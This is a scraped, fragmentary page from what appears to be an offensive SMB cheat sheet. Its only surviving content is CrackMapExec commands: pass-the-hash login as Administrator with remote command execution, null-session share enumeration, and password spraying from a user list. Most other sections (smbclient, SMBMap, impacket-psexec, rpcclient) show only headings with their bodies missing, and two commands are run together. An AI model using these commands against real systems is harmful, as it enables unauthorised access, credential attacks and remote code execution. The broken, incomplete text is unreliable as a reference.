SMB
About
TOOLS
CrackMapExec
crackmapexec smb 13.13.13.13 -u Administrator -d . -H 12379N1D2YV31U20931C031 -x whoami
OR
crackmapexec smb {DOMAIN} -u '' -p '' --shares
OR
crackmapexec smb {DOMAIN} -u 'blibbityblabbity' -p '' --sharescrackmapexec smb {DOMAIN} -u users.txt -p '' -d . --continue-on-success
# Or we could do user=password type of attack with using:
crackmapexec smb {DOMAIN} -u users.txt -d . --no-bruteforce --continue-on-successCommand
Explanation
Samba
Smbclient
Recursively download all files
Connecting to the Share with smbclient
smbclientSMBMap
Regular SMB enum
Recursive SMB enum
Download to SMB server:
Upload to SMB server
Impacket-smbclient
Impacket-psexec
RPCclient
Connect to SMB server
Function
Description
WINDOWS NET
Dangerous Settings
Making a Share



Mount a Share
Tips2Hack
Last updated